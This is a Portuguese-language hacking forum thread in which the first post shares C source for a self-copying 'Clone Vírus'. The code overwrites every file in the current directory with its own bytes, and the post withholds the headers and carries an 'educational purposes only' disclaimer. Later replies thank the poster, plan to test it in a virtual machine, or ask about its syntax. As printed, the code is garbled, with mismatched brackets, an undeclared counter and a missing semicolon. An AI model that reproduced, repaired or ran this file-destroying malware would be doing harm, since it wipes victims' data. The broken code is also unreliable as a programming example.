Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Código Fonte Vírus - Clone Vírus.

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    C / C++ Código Fonte Vírus - Clone Vírus.

    Olá pessoal quero compartilhar com vocês o Código Fonte do Clone Vírus, ele faz clones dele próprio de um modo ilimitado, ele torna todos os arquivos do diretório um Vírus, ele pode ser convertido em Java com poucas alterações, LEMBRE-SE APENAS PARA FINS EDUCACIONAIS, e não execute ele em uma pasta com arquivos .exe e arquivos importantes ele irá infectar os arquivos. (Adivinhe os arquivos de cabeça-lho para si mesmo).

    Nome: Clone Vírus.

    Código:
    FILE *virus, *vhost;
    int done = 0;
    unsigned long x;
    char buff[256];
    struct ffblk ffblk;
    clock_t st,end;
    
    main ()     // WCG 147
    {
    	st = clock ();
    	clrscr ();
    	done = (findfirst("*.*",&ffblk,0);
    	while (!done)
    	{
    	  virus = fopen(_arg[0[, "rb");
    	  vhost = fopen(ffblk.ff_name,"rb+");
    	  if (vhost == NULL)
    			goto next;
    	  x = 89088;
    	  printf ("infecting %s\n",ffblk.ff_name);
    	  while (x > 2048)
    	  {
    		fread(buff,256,1,virus);
    		fwrite(buff,256,1,vhost);
    		x-=2048;
    	  }
    	  fread(buff,x,1,virus);
    	  fwrite(buff,x,1,vhost);
    	  a++;
    	  next:	    fcloseall();
    			done = findnext(&ffblk);
    	  }
    	  end = clock ()
    	  printf("infected %d files in %f sec", a, (end-st)/CLK_TCK);
    	  return (0);
    }
    WCG 147
    sigpic

  • Font Size
    #2
    Obrigado por compartilhar.

    Comment


    • Font Size
      #3
      Obrigado por compartilhar vo testa em uma maquina virtual ...

      Vlw


      "stay hungry stay foolish" - Um perfeito círculo virtuoso, talvez utópico, mas alcançável.
      Steve Jobs

      Comment


      • Font Size
        #4
        valeu ae muito bom...
        cê ta manjando ein!!!
        ABRAÇOS

        Comment


        • Font Size
          #5
          não entendi muito bem isso:
          done = (findfirst("*.*",&ffblk,0);
          se alguem tiver paciência de explicar xD obrigado
          XxJun¡nho :cool:

          Comment


          • Font Size
            #6
            Valeu manolo, vou da uma estudada no mesmo.
            sigpic

            Comment


            • Font Size
              #7
              XxJuninho,

              dá uma olhada ai Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... talvez isso te ajude.
              Assembly, C, C++, C#, HTML/XHTML, Java SE, Java EE, JavaScript, Perl, Python, SQL.

              "If you give a hacker a new toy, the first thing he'll do is take it apart to figure out how it works." - Jamie Zawinski

              Comment


              • Font Size
                #8
                muito obrigado mesmo fokusq =D
                XxJun¡nho :cool:

                Comment


                • Font Size
                  #9
                  Alguem vai acabar esecutando no proprio pc mas vlw,
                  Eu sou o regulador Desregulado.
                  Eu Sou o Animador Desanimado.

                  Comment


                  • Font Size
                    #10
                    Cara nao entendi muy bem isso nao.Esse Codigo FOnte e em C,C++ ou C#?
                    Eu sou o regulador Desregulado.
                    Eu Sou o Animador Desanimado.

                    Comment


                    • Font Size
                      #11
                      Postado Originalmente por IsmaelKing Ver Post
                      Cara nao entendi muy bem isso nao.Esse Codigo FOnte e em C,C++ ou C#?
                      C
                      porém não está com os header , isso tu vai ter que descobrir sozinho.

                      Comment

                      X
                      Working...
                      X